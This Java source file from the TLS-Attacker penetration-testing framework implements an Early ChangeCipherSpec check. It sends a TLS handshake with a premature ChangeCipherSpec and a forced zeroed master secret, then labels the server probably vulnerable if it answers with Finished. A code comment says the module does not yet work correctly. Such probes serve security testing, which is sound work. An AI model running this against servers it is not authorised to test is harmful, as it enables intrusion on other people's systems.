/** * TLS-Attacker - A Modular Penetration Testing Framework for TLS * * Copyright 2014-2016 Ruhr University Bochum / Hackmanit GmbH * * Licensed under Apache License 2.0 * http://www.apache.org/licenses/LICENSE-2.0 */ package de.rub.nds.tlsattacker.attacks.impl; import de.rub.nds.tlsattacker.attacks.config.EarlyCCSCommandConfig; import de.rub.nds.tlsattacker.modifiablevariable.bytearray.ByteArrayModificationFactory; import de.rub.nds.tlsattacker.modifiablevariable.bytearray.ModifiableByteArray; import de.rub.nds.tlsattacker.tls.Attacker; import de.rub.nds.tlsattacker.tls.config.ConfigHandler; import de.rub.nds.tlsattacker.tls.constants.ConnectionEnd; import de.rub.nds.tlsattacker.tls.protocol.ccs.ChangeCipherSpecMessage; import de.rub.nds.tlsattacker.tls.protocol.handshake.CertificateMessage; import de.rub.nds.tlsattacker.tls.protocol.handshake.FinishedMessage; import de.rub.nds.tlsattacker.tls.protocol.handshake.RSAClientKeyExchangeMessage; import de.rub.nds.tlsattacker.tls.protocol.handshake.ServerHelloDoneMessage; import de.rub.nds.tlsattacker.tls.protocol.handshake.ServerHelloMessage; import de.rub.nds.tlsattacker.tls.util.LogLevel; import de.rub.nds.tlsattacker.tls.workflow.TlsContext; import de.rub.nds.tlsattacker.tls.workflow.WorkflowExecutor; import de.rub.nds.tlsattacker.tls.workflow.WorkflowTrace; import de.rub.nds.tlsattacker.tls.workflow.WorkflowTraceType; import de.rub.nds.tlsattacker.transport.TransportHandler; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; /** * TODO: currently does not work correctly, will be fixed after some * refactorings. * * @author Juraj Somorovsky (juraj.somorovsky@rub.de) */ public class EarlyCCSAttack extends Attacker<EarlyCCSCommandConfig> { public static Logger LOGGER = LogManager.getLogger(EarlyCCSAttack.class); public EarlyCCSAttack(EarlyCCSCommandConfig config) { super(config); } @Override public void executeAttack(ConfigHandler configHandler) { config.setWorkflowTraceType(WorkflowTraceType.CLIENT_HELLO); TransportHandler transportHandler = configHandler.initializeTransportHandler(config); TlsContext tlsContext = configHandler.initializeTlsContext(config); WorkflowExecutor workflowExecutor = configHandler.initializeWorkflowExecutor(transportHandler, tlsContext); byte[] ms = new byte[48]; byte[] pms = new byte[48]; pms[0] = 3; pms[1] = 3; WorkflowTrace workflowTrace = tlsContext.getWorkflowTrace(); workflowTrace.add(new ServerHelloMessage()); workflowTrace.add(new CertificateMessage(ConnectionEnd.SERVER)); workflowTrace.add(new ServerHelloDoneMessage()); RSAClientKeyExchangeMessage cke1 = new RSAClientKeyExchangeMessage(ConnectionEnd.CLIENT); ModifiableByteArray modpms = new ModifiableByteArray(); modpms.setModification(ByteArrayModificationFactory.explicitValue(pms)); cke1.setPlainPaddedPremasterSecret(modpms); ModifiableByteArray modms = new ModifiableByteArray(); modms.setModification(ByteArrayModificationFactory.explicitValue(ms)); cke1.setMasterSecret(modms); cke1.setGoingToBeSent(false); ChangeCipherSpecMessage ccs1 = new ChangeCipherSpecMessage(ConnectionEnd.CLIENT); ccs1.setGoingToBeSent(false); FinishedMessage fin1 = new FinishedMessage(ConnectionEnd.CLIENT); fin1.setGoingToBeSent(false); workflowTrace.add(cke1); workflowTrace.add(ccs1); workflowTrace.add(fin1); workflowTrace.add(new ChangeCipherSpecMessage(ConnectionEnd.CLIENT)); RSAClientKeyExchangeMessage cke2 = new RSAClientKeyExchangeMessage(ConnectionEnd.CLIENT); modpms = new ModifiableByteArray(); modpms.setModification(ByteArrayModificationFactory.explicitValue(pms)); cke2.setPlainPaddedPremasterSecret(modpms); modms = new ModifiableByteArray(); modms.setModification(ByteArrayModificationFactory.explicitValue(ms)); cke2.setMasterSecret(modms); workflowTrace.add(cke2); workflowTrace.add(new FinishedMessage(ConnectionEnd.CLIENT)); workflowTrace.add(new ChangeCipherSpecMessage(ConnectionEnd.SERVER)); workflowTrace.add(new FinishedMessage(ConnectionEnd.SERVER)); workflowExecutor.executeWorkflow(); transportHandler.closeConnection(); if (workflowTrace.containsServerFinished()) { LOGGER.log(LogLevel.CONSOLE_OUTPUT, "Vulnerable (probably), Server Finished message found"); } else { LOGGER.log(LogLevel.CONSOLE_OUTPUT, "Not vulnerable (probably), no Server Finished message found"); } } }